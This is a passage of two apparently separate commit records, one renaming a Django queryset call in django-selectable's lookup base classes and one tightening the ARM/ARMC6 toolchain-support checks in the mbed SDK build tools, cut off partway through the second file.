<commit_before>"Base classes for lookup creation."
from __future__ import unicode_literals

import json
import operator
import re
from functools import reduce

from django.conf import settings
from django.core.paginator import Paginator, InvalidPage, EmptyPage
from django.core.urlresolvers import reverse
from django.core.serializers.json import DjangoJSONEncoder
from django.http import HttpResponse
from django.db.models import Q
from django.utils.html import conditional_escape
from django.utils.translation import ugettext as _

from selectable.compat import smart_text
from selectable.forms import BaseLookupForm

__all__ = (
    'LookupBase',
    'ModelLookup',
)

class JsonResponse(HttpResponse):
    "HttpResponse subclass for returning JSON data."

    def __init__(self, *args, **kwargs):
        kwargs['content_type'] = 'application/json'
        super(JsonResponse, self).__init__(*args, **kwargs)

class LookupBase(object):
    "Base class for all django-selectable lookups."

    form = BaseLookupForm
    response = JsonResponse

    def _name(cls):
        app_name = cls.__module__.split('.')[-2].lower()
        class_name = cls.__name__.lower()
        name = '%s-%s' % (app_name, class_name)
        return name
    name = classmethod(_name)

    def _url(cls):
        return reverse('selectable-lookup', args=[cls.name()])
    url = classmethod(_url)

    def get_query(self, request, term):
        return []

    def get_item_label(self, item):
        return smart_text(item)

    def get_item_id(self, item):
        return smart_text(item)

    def get_item_value(self, item):
        return smart_text(item)

    def get_item(self, value):
        return value

    def create_item(self, value):
        raise NotImplemented()

    def format_item(self, item):
        "Construct result dictionary for the match item."
        result = {
            'id': self.get_item_id(item),
            'value': self.get_item_value(item),
            'label': self.get_item_label(item),
        }
        for key in settings.SELECTABLE_ESCAPED_KEYS:
            if key in result:
                result[key] = conditional_escape(result[key])
        return result

    def paginate_results(self, results, options):
        "Return a django.core.paginator.Page of results."
        limit = options.get('limit', settings.SELECTABLE_MAX_LIMIT)
        paginator = Paginator(results, limit)
        page = options.get('page', 1)
        try:
            results = paginator.page(page)
        except (EmptyPage, InvalidPage):
            results = paginator.page(paginator.num_pages)
        return results

    def results(self, request):
        "Match results to given term and return the serialized HttpResponse."
        results = {}
        form = self.form(request.GET)
        if form.is_valid():
            options = form.cleaned_data
            term = options.get('term', '')
            raw_data = self.get_query(request, term)
            results = self.format_results(raw_data, options)
        content = self.serialize_results(results)
        return self.response(content)

    def format_results(self, raw_data, options):
        '''
        Returns a python structure that later gets serialized.
        raw_data
            full list of objects matching the search term
        options
            a dictionary of the given options
        '''
        page_data = self.paginate_results(raw_data, options)
        results = {}
        meta = options.copy()
        meta['more'] = _('Show more results')
        if page_data and page_data.has_next():
            meta['next_page'] = page_data.next_page_number()
        if page_data and page_data.has_previous():
            meta['prev_page'] = page_data.previous_page_number()
        results['data'] = [self.format_item(item) for item in page_data.object_list]
        results['meta'] = meta
        return results

    def serialize_results(self, results):
        "Returns serialized results for sending via http."
        return json.dumps(results, cls=DjangoJSONEncoder, ensure_ascii=False)

class ModelLookup(LookupBase):
    "Lookup class for easily defining lookups based on Django models."

    model = None
    filters = {}
    search_fields = ()

    def get_query(self, request, term):
        qs = self.get_queryset()
        if term:
            search_filters = []
            if self.search_fields:
                for field in self.search_fields:
                    search_filters.append(Q(**{field: term}))
            qs = qs.filter(reduce(operator.or_, search_filters))
        return qs

    def get_queryset(self):
        qs = self.model._default_manager.get_query_set()
        if self.filters:
            qs = qs.filter(**self.filters)
        return qs

    def get_item_id(self, item):
        return item.pk

    def get_item(self, value):
        item = None
        if value:
            try:
                item = self.get_queryset().get(pk=value)
            except (ValueError, self.model.DoesNotExist):
                item = None
        return item

    def create_item(self, value):
        data = {}
        if self.search_fields:
            field_name = re.sub(r'__\w+$', '',  self.search_fields[0])
            if field_name:
                data = {field_name: value}
        return self.model(**data)
<commit_msg>Rename get_query_set -> get_queryset<commit_after>"Base classes for lookup creation."
from __future__ import unicode_literals

import json
import operator
import re
from functools import reduce

from django.conf import settings
from django.core.paginator import Paginator, InvalidPage, EmptyPage
from django.core.urlresolvers import reverse
from django.core.serializers.json import DjangoJSONEncoder
from django.http import HttpResponse
from django.db.models import Q
from django.utils.html import conditional_escape
from django.utils.translation import ugettext as _

from selectable.compat import smart_text
from selectable.forms import BaseLookupForm

__all__ = (
    'LookupBase',
    'ModelLookup',
)

class JsonResponse(HttpResponse):
    "HttpResponse subclass for returning JSON data."

    def __init__(self, *args, **kwargs):
        kwargs['content_type'] = 'application/json'
        super(JsonResponse, self).__init__(*args, **kwargs)

class LookupBase(object):
    "Base class for all django-selectable lookups."

    form = BaseLookupForm
    response = JsonResponse

    def _name(cls):
        app_name = cls.__module__.split('.')[-2].lower()
        class_name = cls.__name__.lower()
        name = '%s-%s' % (app_name, class_name)
        return name
    name = classmethod(_name)

    def _url(cls):
        return reverse('selectable-lookup', args=[cls.name()])
    url = classmethod(_url)

    def get_query(self, request, term):
        return []

    def get_item_label(self, item):
        return smart_text(item)

    def get_item_id(self, item):
        return smart_text(item)

    def get_item_value(self, item):
        return smart_text(item)

    def get_item(self, value):
        return value

    def create_item(self, value):
        raise NotImplemented()

    def format_item(self, item):
        "Construct result dictionary for the match item."
        result = {
            'id': self.get_item_id(item),
            'value': self.get_item_value(item),
            'label': self.get_item_label(item),
        }
        for key in settings.SELECTABLE_ESCAPED_KEYS:
            if key in result:
                result[key] = conditional_escape(result[key])
        return result

    def paginate_results(self, results, options):
        "Return a django.core.paginator.Page of results."
        limit = options.get('limit', settings.SELECTABLE_MAX_LIMIT)
        paginator = Paginator(results, limit)
        page = options.get('page', 1)
        try:
            results = paginator.page(page)
        except (EmptyPage, InvalidPage):
            results = paginator.page(paginator.num_pages)
        return results

    def results(self, request):
        "Match results to given term and return the serialized HttpResponse."
        results = {}
        form = self.form(request.GET)
        if form.is_valid():
            options = form.cleaned_data
            term = options.get('term', '')
            raw_data = self.get_query(request, term)
            results = self.format_results(raw_data, options)
        content = self.serialize_results(results)
        return self.response(content)

    def format_results(self, raw_data, options):
        '''
        Returns a python structure that later gets serialized.
        raw_data
            full list of objects matching the search term
        options
            a dictionary of the given options
        '''
        page_data = self.paginate_results(raw_data, options)
        results = {}
        meta = options.copy()
        meta['more'] = _('Show more results')
        if page_data and page_data.has_next():
            meta['next_page'] = page_data.next_page_number()
        if page_data and page_data.has_previous():
            meta['prev_page'] = page_data.previous_page_number()
        results['data'] = [self.format_item(item) for item in page_data.object_list]
        results['meta'] = meta
        return results

    def serialize_results(self, results):
        "Returns serialized results for sending via http."
        return json.dumps(results, cls=DjangoJSONEncoder, ensure_ascii=False)

class ModelLookup(LookupBase):
    "Lookup class for easily defining lookups based on Django models."

    model = None
    filters = {}
    search_fields = ()

    def get_query(self, request, term):
        qs = self.get_queryset()
        if term:
            search_filters = []
            if self.search_fields:
                for field in self.search_fields:
                    search_filters.append(Q(**{field: term}))
            qs = qs.filter(reduce(operator.or_, search_filters))
        return qs

    def get_queryset(self):
        try:
            qs = self.model._default_manager.get_queryset()
        except AttributeError:  # Django <= 1.5.
            qs = self.model._default_manager.get_query_set()
        if self.filters:
            qs = qs.filter(**self.filters)
        return qs

    def get_item_id(self, item):
        return item.pk

    def get_item(self, value):
        item = None
        if value:
            try:
                item = self.get_queryset().get(pk=value)
            except (ValueError, self.model.DoesNotExist):
                item = None
        return item

    def create_item(self, value):
        data = {}
        if self.search_fields:
            field_name = re.sub(r'__\w+$', '',  self.search_fields[0])
            if field_name:
                data = {field_name: value}
        return self.model(**data)
<|endoftext|>


<commit_before>"""
mbed SDK
Copyright (c) 2011-2013 ARM Limited

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
import re
from copy import copy
from os.path import join, dirname, splitext, basename, exists
from os import makedirs, write
from tempfile import mkstemp

from tools.toolchains import mbedToolchain, TOOLCHAIN_PATHS
from tools.hooks import hook_tool
from tools.utils import mkdir, NotSupportedException

class ARM(mbedToolchain):
    LINKER_EXT = '.sct'
    LIBRARY_EXT = '.ar'

    STD_LIB_NAME = "%s.ar"
    DIAGNOSTIC_PATTERN  = re.compile('"(?P<file>[^"]+)", line (?P<line>\d+)( \(column (?P<column>\d+)\)|): (?P<severity>Warning|Error|Fatal error): (?P<message>.+)')
    INDEX_PATTERN  = re.compile('(?P<col>\s*)\^')
    DEP_PATTERN = re.compile('\S+:\s(?P<file>.+)\n')
    SHEBANG = "#! armcc -E"

    @staticmethod
    def check_executable():
        """Returns True if the executable (armcc) location specified by the
         user exists OR the executable can be found on the PATH.
         Returns False otherwise."""
        return mbedToolchain.generic_check_executable("ARM", 'armcc', 2, 'bin')

    def __init__(self, target, notify=None, macros=None,
                 silent=False, extra_verbose=False, build_profile=None,
                 build_dir=None):
        mbedToolchain.__init__(self, target, notify, macros, silent,
                               build_dir=build_dir,
                               extra_verbose=extra_verbose,
                               build_profile=build_profile)

        if target.core == "Cortex-M0+":
            cpu = "Cortex-M0"
        elif target.core == "Cortex-M4F":
            cpu = "Cortex-M4.fp"
        elif target.core == "Cortex-M7FD":
            cpu = "Cortex-M7.fp.dp"
        elif target.core == "Cortex-M7F":
            cpu = "Cortex-M7.fp.sp"
        else:
            cpu = target.core

        ARM_BIN = join(TOOLCHAIN_PATHS['ARM'], "bin")
        ARM_INC = join(TOOLCHAIN_PATHS['ARM'], "include")

        main_cc = join(ARM_BIN, "armcc")

        self.flags['common'] += ["--cpu=%s" % cpu]

        self.asm = [main_cc] + self.flags['common'] + self.flags['asm']
        self.cc = [main_cc] + self.flags['common'] + self.flags['c']
        self.cppc = [main_cc] + self.flags['common'] + self.flags['c'] + self.flags['cxx']

        self.ld = [join(ARM_BIN, "armlink")]

        self.ar = join(ARM_BIN, "armar")
        self.elf2bin = join(ARM_BIN, "fromelf")

    def parse_dependencies(self, dep_path):
        dependencies = []
        for line in open(dep_path).readlines():
            match = ARM.DEP_PATTERN.match(line)
            if match is not None:
                #we need to append chroot, because when the .d files are generated the compiler is chrooted
                dependencies.append((self.CHROOT if self.CHROOT else '') + match.group('file'))
        return dependencies

    def parse_output(self, output):
        msg = None
        for line in output.splitlines():
            match = ARM.DIAGNOSTIC_PATTERN.match(line)
            if match is not None:
                if msg is not None:
                    self.cc_info(msg)
                    msg = None
                msg = {
                    'severity': match.group('severity').lower(),
                    'file': match.group('file'),
                    'line': match.group('line'),
                    'col': match.group('column') if match.group('column') else 0,
                    'message': match.group('message'),
                    'text': '',
                    'target_name': self.target.name,
                    'toolchain_name': self.name
                }
            elif msg is not None:
                # Determine the warning/error column by calculating the ^ position
                match = ARM.INDEX_PATTERN.match(line)
                if match is not None:
                    msg['col'] = len(match.group('col'))
                    self.cc_info(msg)
                    msg = None
                else:
                    msg['text'] += line+"\n"

        if msg is not None:
            self.cc_info(msg)

    def get_dep_option(self, object):
        base, _ = splitext(object)
        dep_path = base + '.d'
        return ["--depend", dep_path]

    def get_config_option(self, config_header):
        return ['--preinclude=' + config_header]

    def get_compile_options(self, defines, includes, for_asm=False):
        opts = ['-D%s' % d for d in defines]
        if self.RESPONSE_FILES:
            opts += ['--via', self.get_inc_file(includes)]
        else:
            opts += ["-I%s" % i for i in includes]

        if not for_asm:
            config_header = self.get_config_header()
            if config_header is not None:
                opts = opts + self.get_config_option(config_header)
        return opts

    @hook_tool
    def assemble(self, source, object, includes):
        # Preprocess first, then assemble
        dir = join(dirname(object), '.temp')
        mkdir(dir)
        tempfile = join(dir, basename(object) + '.E.s')

        # Build preprocess assemble command
        cmd_pre = self.asm + self.get_compile_options(self.get_symbols(True), includes) + ["-E", "-o", tempfile, source]

        # Build main assemble command
        cmd = self.asm + ["-o", object, tempfile]

        # Call cmdline hook
        cmd_pre = self.hook.get_cmdline_assembler(cmd_pre)
        cmd = self.hook.get_cmdline_assembler(cmd)

        # Return command array, don't execute
        return [cmd_pre, cmd]

    @hook_tool
    def compile(self, cc, source, object, includes):
        # Build compile command
        cmd = cc + self.get_compile_options(self.get_symbols(), includes)

        cmd.extend(self.get_dep_option(object))

        cmd.extend(["-o", object, source])

        # Call cmdline hook
        cmd = self.hook.get_cmdline_compiler(cmd)

        return [cmd]

    def compile_c(self, source, object, includes):
        return self.compile(self.cc, source, object, includes)

    def compile_cpp(self, source, object, includes):
        return self.compile(self.cppc, source, object, includes)

    def correct_scatter_shebang(self, scatter_file):
        """Correct the shebang at the top of a scatter file.

        Positional arguments:
        scatter_file -- the scatter file to correct

        Return:
        The location of the correct scatter file

        Side Effects:
        This method MAY write a new scatter file to disk
        """
        with open(scatter_file, "rb") as input:
            lines = input.readlines()
            if  (lines[0].startswith(self.SHEBANG) or
                 not lines[0].startswith("#!")):
                return scatter_file
            else:
                new_scatter = join(self.build_dir, ".link_script.sct")
                if self.need_update(new_scatter, [scatter_file]):
                    with open(new_scatter, "wb") as out:
                        out.write(self.SHEBANG)
                        out.write("\n")
                        out.write("".join(lines[1:]))
                return new_scatter

    @hook_tool
    def link(self, output, objects, libraries, lib_dirs, scatter_file):
        base, _ = splitext(output)
        map_file = base + ".map"
        args = ["-o", output, "--info=totals", "--map", "--list=%s" % map_file]
        args.extend(objects)
        args.extend(libraries)
        if lib_dirs:
            args.extend(["--userlibpath", ",".join(lib_dirs)])
        if scatter_file:
            new_scatter = self.correct_scatter_shebang(scatter_file)
            args.extend(["--scatter", new_scatter])

        cmd_pre = self.ld + args
        cmd = self.hook.get_cmdline_linker(cmd_pre)

        if self.RESPONSE_FILES:
            cmd_linker = cmd[0]
            link_files = self.get_link_file(cmd[1:])
            cmd = [cmd_linker, '--via', link_files]

        self.cc_verbose("Link: %s" % ' '.join(cmd))
        self.default_cmd(cmd)

    @hook_tool
    def archive(self, objects, lib_path):
        if self.RESPONSE_FILES:
            param = ['--via', self.get_arch_file(objects)]
        else:
            param = objects
        self.default_cmd([self.ar, '-r', lib_path] + param)

    @hook_tool
    def binary(self, resources, elf, bin):
        _, fmt = splitext(bin)
        bin_arg = {".bin": "--bin", ".hex": "--i32"}[fmt]
        cmd = [self.elf2bin, bin_arg, '-o', bin, elf]
        cmd = self.hook.get_cmdline_binary(cmd)
        self.cc_verbose("FromELF: %s" % ' '.join(cmd))
        self.default_cmd(cmd)

    @staticmethod
    def name_mangle(name):
        return "_Z%i%sv" % (len(name), name)

    @staticmethod
    def make_ld_define(name, value):
        return "--predefine=\"-D%s=0x%x\"" % (name, value)

    @staticmethod
    def redirect_symbol(source, sync, build_dir):
        if not exists(build_dir):
            makedirs(build_dir)
        handle, filename = mkstemp(prefix=".redirect-symbol.", dir=build_dir)
        write(handle, "RESOLVE %s AS %s\n" % (source, sync))
        return "--edit=%s" % filename

class ARM_STD(ARM):
    pass

class ARM_MICRO(ARM):
    PATCHED_LIBRARY = False

class ARMC6(ARM_STD):
    SHEBANG = "#! armclang -E --target=arm-arm-none-eabi -x c"
    @staticmethod
    def check_executable():
        return mbedToolchain.generic_check_executable("ARMC6", "armclang", 1)

    def __init__(self, target, *args, **kwargs):
        mbedToolchain.__init__(self, target, *args, **kwargs)

        if "ARM" not in target.supported_toolchains:
            raise NotSupportedException("ARM compiler support is required for ARMC6 support")

        if target.core.lower().endswith("fd"):
            self.flags['common'].append("-mcpu=%s" % target.core.lower()[:-2])
            self.flags['ld'].append("--cpu=%s" % target.core.lower()[:-2])
        elif target.core.lower().endswith("f"):
            self.flags['common'].append("-mcpu=%s" % target.core.lower()[:-1])
            self.flags['ld'].append("--cpu=%s" % target.core.lower()[:-1])
        elif target.core.lower().endswith("ns"):
            self.flags['common'].append("-mcpu=%s" % target.core.lower()[:-3])
            self.flags['ld'].append("--cpu=%s" % target.core.lower()[:-3])
        else:
            self.flags['common'].append("-mcpu=%s" % target.core.lower())
            self.flags['ld'].append("--cpu=%s" % target.core.lower())

        if target.core == "Cortex-M4F":
            self.flags['common'].append("-mfpu=fpv4-sp-d16")
            self.flags['common'].append("-mfloat-abi=hard")
        elif target.core == "Cortex-M7F":
            self.flags['common'].append("-mfpu=fpv5-sp-d16")
            self.flags['common'].append("-mfloat-abi=softfp")
        elif target.core == "Cortex-M7FD":
            self.flags['common'].append("-mfpu=fpv5-d16")
            self.flags['common'].append("-mfloat-abi=softfp")
        elif target.core.startswith("Cortex-M23"):
            self.flags['common'].append("-march=armv8-m.base")
        elif target.core.startswith("Cortex-M33"):
            self.flags['common'].append("-march=armv8-m.main")

        if target.core == "Cortex-M23" or target.core == "Cortex-M33":
            self.flags['common'].append("-mcmse")

        asm_cpu = {
            "Cortex-M0+": "Cortex-M0",
            "Cortex-M4F": "Cortex-M4.fp",
            "Cortex-M7F": "Cortex-M7.fp.sp",
            "Cortex-M7FD": "Cortex-M7.fp.dp",
            "Cortex-M23-NS": "Cortex-M23",
            "Cortex-M33-NS": "Cortex-M33" }.get(target.core, target.core)

        self.flags['asm'].append("--cpu=%s" % asm_cpu)

        self.cc = ([join(TOOLCHAIN_PATHS["ARMC6"], "armclang")] +
                   self.flags['common'] + self.flags['c'])
        self.cppc = ([join(TOOLCHAIN_PATHS["ARMC6"], "armclang")] +
                     self.flags['common'] + self.flags['cxx'])
        self.asm = [join(TOOLCHAIN_PATHS["ARMC6"], "armasm")] + self.flags['asm']
        self.ld = [join(TOOLCHAIN_PATHS["ARMC6"], "armlink")] + self.flags['ld']
        self.ar = [join(TOOLCHAIN_PATHS["ARMC6"], "armar")]
        self.elf2bin = join(TOOLCHAIN_PATHS["ARMC6"], "fromelf")

    def parse_dependencies(self, dep_path):
        return mbedToolchain.parse_dependencies(self, dep_path)

    def is_not_supported_error(self, output):
        return "#error [NOT_SUPPORTED]" in output

    def parse_output(self, output):
        pass

    def get_config_option(self, config_header):
        return ["-include", config_header]

    def get_compile_options(self, defines, includes, for_asm=False):
        opts = ['-D%s' % d for d in defines]
        opts.extend(["-I%s" % i for i in includes])
        if for_asm:
            return ["--cpreproc",
                    "--cpreproc_opts=%s" % ",".join(self.flags['common'] + opts)]
        else:
            config_header = self.get_config_header()
            if config_header:
                opts.extend(self.get_config_option(config_header))
            return opts

    @hook_tool
    def assemble(self, source, object, includes):
        cmd_pre = copy(self.asm)
        cmd_pre.extend(self.get_compile_options(
            self.get_symbols(True), includes, for_asm=True))
        cmd_pre.extend(["-o", object, source])
        return [self.hook.get_cmdline_assembler(cmd_pre)]

    @hook_tool
    def compile(self, cc, source, object, includes):
        cmd = copy(cc)
        cmd.extend(self.get_compile_options(self.get_symbols(), includes))
        cmd.extend(["-o", object, source])
        cmd = self.hook.get_cmdline_compiler(cmd)
        return [cmd]
<commit_msg>Corrected check for ARM/ARMC6 toolchain<commit_after>"""
mbed SDK
Copyright (c) 2011-2013 ARM Limited

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
import re
from copy import copy
from os.path import join, dirname, splitext, basename, exists
from os import makedirs, write
from tempfile import mkstemp

from tools.toolchains import mbedToolchain, TOOLCHAIN_PATHS
from tools.hooks import hook_tool
from tools.utils import mkdir, NotSupportedException

class ARM(mbedToolchain):
    LINKER_EXT = '.sct'
    LIBRARY_EXT = '.ar'

    STD_LIB_NAME = "%s.ar"
    DIAGNOSTIC_PATTERN  = re.compile('"(?P<file>[^"]+)", line (?P<line>\d+)( \(column (?P<column>\d+)\)|): (?P<severity>Warning|Error|Fatal error): (?P<message>.+)')
    INDEX_PATTERN  = re.compile('(?P<col>\s*)\^')
    DEP_PATTERN = re.compile('\S+:\s(?P<file>.+)\n')
    SHEBANG = "#! armcc -E"

    @staticmethod
    def check_executable():
        """Returns True if the executable (armcc) location specified by the
         user exists OR the executable can be found on the PATH.
         Returns False otherwise."""
        return mbedToolchain.generic_check_executable("ARM", 'armcc', 2, 'bin')

    def __init__(self, target, notify=None, macros=None,
                 silent=False, extra_verbose=False, build_profile=None,
                 build_dir=None):
        mbedToolchain.__init__(self, target, notify, macros, silent,
                               build_dir=build_dir,
                               extra_verbose=extra_verbose,
                               build_profile=build_profile)

        if "ARM" not in target.supported_toolchains:
            raise NotSupportedException("ARM compiler support is required for ARM build")

        if target.core == "Cortex-M0+":
            cpu = "Cortex-M0"
        elif target.core == "Cortex-M4F":
            cpu = "Cortex-M4.fp"
        elif target.core == "Cortex-M7FD":
            cpu = "Cortex-M7.fp.dp"
        elif target.core == "Cortex-M7F":
            cpu = "Cortex-M7.fp.sp"
        else:
            cpu = target.core

        ARM_BIN = join(TOOLCHAIN_PATHS['ARM'], "bin")
        ARM_INC = join(TOOLCHAIN_PATHS['ARM'], "include")

        main_cc = join(ARM_BIN, "armcc")

        self.flags['common'] += ["--cpu=%s" % cpu]

        self.asm = [main_cc] + self.flags['common'] + self.flags['asm']
        self.cc = [main_cc] + self.flags['common'] + self.flags['c']
        self.cppc = [main_cc] + self.flags['common'] + self.flags['c'] + self.flags['cxx']

        self.ld = [join(ARM_BIN, "armlink")]

        self.ar = join(ARM_BIN, "armar")
        self.elf2bin = join(ARM_BIN, "fromelf")

    def parse_dependencies(self, dep_path):
        dependencies = []
        for line in open(dep_path).readlines():
            match = ARM.DEP_PATTERN.match(line)
            if match is not None:
                #we need to append chroot, because when the .d files are generated the compiler is chrooted
                dependencies.append((self.CHROOT if self.CHROOT else '') + match.group('file'))
        return dependencies

    def parse_output(self, output):
        msg = None
        for line in output.splitlines():
            match = ARM.DIAGNOSTIC_PATTERN.match(line)
            if match is not None:
                if msg is not None:
                    self.cc_info(msg)
                    msg = None
                msg = {
                    'severity': match.group('severity').lower(),
                    'file': match.group('file'),
                    'line': match.group('line'),
                    'col': match.group('column') if match.group('column') else 0,
                    'message': match.group('message'),
                    'text': '',
                    'target_name': self.target.name,
                    'toolchain_name': self.name
                }
            elif msg is not None:
                # Determine the warning/error column by calculating the ^ position
                match = ARM.INDEX_PATTERN.match(line)
                if match is not None:
                    msg['col'] = len(match.group('col'))
                    self.cc_info(msg)
                    msg = None
                else:
                    msg['text'] += line+"\n"

        if msg is not None:
            self.cc_info(msg)

    def get_dep_option(self, object):
        base, _ = splitext(object)
        dep_path = base + '.d'
        return ["--depend", dep_path]

    def get_config_option(self, config_header):
        return ['--preinclude=' + config_header]

    def get_compile_options(self, defines, includes, for_asm=False):
        opts = ['-D%s' % d for d in defines]
        if self.RESPONSE_FILES:
            opts += ['--via', self.get_inc_file(includes)]
        else:
            opts += ["-I%s" % i for i in includes]

        if not for_asm:
            config_header = self.get_config_header()
            if config_header is not None:
                opts = opts + self.get_config_option(config_header)
        return opts

    @hook_tool
    def assemble(self, source, object, includes):
        # Preprocess first, then assemble
        dir = join(dirname(object), '.temp')
        mkdir(dir)
        tempfile = join(dir, basename(object) + '.E.s')

        # Build preprocess assemble command
        cmd_pre = self.asm + self.get_compile_options(self.get_symbols(True), includes) + ["-E", "-o", tempfile, source]

        # Build main assemble command
        cmd = self.asm + ["-o", object, tempfile]

        # Call cmdline hook
        cmd_pre = self.hook.get_cmdline_assembler(cmd_pre)
        cmd = self.hook.get_cmdline_assembler(cmd)

        # Return command array, don't execute
        return [cmd_pre, cmd]

    @hook_tool
    def compile(self, cc, source, object, includes):
        # Build compile command
        cmd = cc + self.get_compile_options(self.get_symbols(), includes)

        cmd.extend(self.get_dep_option(object))

        cmd.extend(["-o", object, source])

        # Call cmdline hook
        cmd = self.hook.get_cmdline_compiler(cmd)

        return [cmd]

    def compile_c(self, source, object, includes):
        return self.compile(self.cc, source, object, includes)

    def compile_cpp(self, source, object, includes):
        return self.compile(self.cppc, source, object, includes)

    def correct_scatter_shebang(self, scatter_file):
        """Correct the shebang at the top of a scatter file.

        Positional arguments:
        scatter_file -- the scatter file to correct

        Return:
        The location of the correct scatter file

        Side Effects:
        This method MAY write a new scatter file to disk
        """
        with open(scatter_file, "rb") as input:
            lines = input.readlines()
            if  (lines[0].startswith(self.SHEBANG) or
                 not lines[0].startswith("#!")):
                return scatter_file
            else:
                new_scatter = join(self.build_dir, ".link_script.sct")
                if self.need_update(new_scatter, [scatter_file]):
                    with open(new_scatter, "wb") as out:
                        out.write(self.SHEBANG)
                        out.write("\n")
                        out.write("".join(lines[1:]))
                return new_scatter

    @hook_tool
    def link(self, output, objects, libraries, lib_dirs, scatter_file):
        base, _ = splitext(output)
        map_file = base + ".map"
        args = ["-o", output, "--info=totals", "--map", "--list=%s" % map_file]
        args.extend(objects)
        args.extend(libraries)
        if lib_dirs:
            args.extend(["--userlibpath", ",".join(lib_dirs)])
        if scatter_file:
            new_scatter = self.correct_scatter_shebang(scatter_file)
            args.extend(["--scatter", new_scatter])

        cmd_pre = self.ld + args
        cmd = self.hook.get_cmdline_linker(cmd_pre)

        if self.RESPONSE_FILES:
            cmd_linker = cmd[0]
            link_files = self.get_link_file(cmd[1:])
            cmd = [cmd_linker, '--via', link_files]

        self.cc_verbose("Link: %s" % ' '.join(cmd))
        self.default_cmd(cmd)

    @hook_tool
    def archive(self, objects, lib_path):
        if self.RESPONSE_FILES:
            param = ['--via', self.get_arch_file(objects)]
        else:
            param = objects
        self.default_cmd([self.ar, '-r', lib_path] + param)

    @hook_tool
    def binary(self, resources, elf, bin):
        _, fmt = splitext(bin)
        bin_arg = {".bin": "--bin", ".hex": "--i32"}[fmt]
        cmd = [self.elf2bin, bin_arg, '-o', bin, elf]
        cmd = self.hook.get_cmdline_binary(cmd)
        self.cc_verbose("FromELF: %s" % ' '.join(cmd))
        self.default_cmd(cmd)

    @staticmethod
    def name_mangle(name):
        return "_Z%i%sv" % (len(name), name)

    @staticmethod
    def make_ld_define(name, value):
        return "--predefine=\"-D%s=0x%x\"" % (name, value)

    @staticmethod
    def redirect_symbol(source, sync, build_dir):
        if not exists(build_dir):
            makedirs(build_dir)
        handle, filename = mkstemp(prefix=".redirect-symbol.", dir=build_dir)
        write(handle, "RESOLVE %s AS %s\n" % (source, sync))
        return "--edit=%s" % filename

class ARM_STD(ARM):
    pass

class ARM_MICRO(ARM):
    PATCHED_LIBRARY = False

class ARMC6(ARM_STD):
    SHEBANG = "#! armclang -E --target=arm-arm-none-eabi -x c"
    @staticmethod
    def check_executable():
        return mbedToolchain.generic_check_executable("ARMC6", "armclang", 1)

    def __init__(self, target, *args, **kwargs):
        mbedToolchain.__init__(self, target, *args, **kwargs)

        if not set(("ARM", "ARMC6")).intersection(set(target.supported_toolchains)):
            raise NotSupportedException("ARM/ARMC6 compiler support is required for ARMC6 build")

        if target.core.lower().endswith("fd"):
            self.flags['common'].append("-mcpu=%s" % target.core.lower()[:-2])
            self.flags['ld'].append("--cpu=%s" % target.core.lower()[:-2])
        elif target.core.lower().endswith("f"):
            self.flags['common'].append("-mcpu=%s" % target.core.lower()[:-1])
            self.flags['ld'].append("--cpu=%s" % target.core.lower()[:-1])
        elif target.core.lower().endswith("ns"):
            self.flags['common'].append("-mcpu=%s" % target.core.lower()[:-3])
            self.flags['ld'].append("--cpu=%s" % target.core.lower()[:-3])
        else:
            self.flags['common'].append("-mcpu=%s" % target.core.lower())
            self.flags['ld'].append("--cpu=%s" % target.core.lower())

        if target.core == "Cortex-M4F":
            self.flags['common'].append("-mfpu=fpv4-sp-d16")
            self.flags['common'].append("-mfloat-abi=hard")
        elif target.core == "Cortex-M7F":
            self.flags['common'].append("-mfpu=fpv5-sp-d16")
            self.flags['common'].append("-mfloat-abi=softfp")
        elif target.core == "Cortex-M7FD":
            self.flags['common'].append("-mfpu=fpv5-d16")
            self.flags['common'].append("-mfloat-abi=softfp")
        elif target.core.startswith("Cortex-M23"):
            self.flags['common'].append("-march=armv8-m.base")
        elif target.core.startswith("Cortex-M33"):
            self.flags['common'].append("-march=armv8-m.main")

        if target.core == "Cortex-M23" or target.core == "Cortex-M33":
            self.flags['common'].append("-mcmse")

        asm_cpu = {
            "Cortex-M0+": "Cortex-M0",
            "Cortex-M4F": "Cortex-M4.fp",
            "Cortex-M7F": "Cortex-M7.fp.sp",
            "Cortex-M7FD": "Cortex-M7.fp.dp",
            "Cortex-M23-NS": "Cortex-M23",
            "Cortex-M33-NS": "Cortex-M33" }.get(target.core, target.core)

        self.flags['asm'].append("--cpu=%s" % asm_cpu)

        self.cc = ([join(TOOLCHAIN_PATHS["ARMC6"], "armclang")] +
                   self.flags['common'] + self.flags['c'])
        self.cppc = ([join(TOOLCHAIN_PATHS["ARMC6"], "armclang")] +
                     self.flags['common'] + self.flags['cxx'])
        self.asm = [join(TOOLCHAIN_PATHS["ARMC6"], "armasm")] + self.flags['asm']
        self.ld = [join(TOOLCHAIN_PATHS["ARMC6"], "armlink")] + self.flags['ld']
        self.ar = [join(TOOLCHAIN_PATHS["ARMC6"], "armar")]
        self.elf2bin = join(TOOLCHAIN_PATHS["ARMC6"], "fromelf")

    def parse_dependencies(self, dep_path):
        return mbedToolchain.parse_dependencies(self, dep_path)

    def is_not_supported_error(self, output):
        return "#error [NOT_SUPPORTED]" in output

    def parse_output(self, output):
        pass

    def get_config_option(self, config_header):
        return ["-include", config_header]

    def get_compile_options(self, defines, includes, for_asm=False):
        opts = ['-D%s' % d for d in defines]
        opts.extend(["-I%s" % i for i in includes])
        if for_asm:
            return ["--cpreproc",
                    "--cpreproc_opts=%s" % ",".join(self.flags['common'] + opts)]
        else:
            config_header = self.get_config_header()
            if config_header:
                opts.extend(self.get_config_option(config_header))
            return opts

    @hook_tool
    def assemble(self, source, object, includes):
        cmd_pre = copy(self.asm)
        cmd_pre.extend(self.get_compile_options(
            self.get_symbols(True), includes, for_asm=True))
        cmd_pre.extend(["-o", object, source])
        return [self.hook.get_cmdline_assembler(cmd_pre)]

    @hook_tool
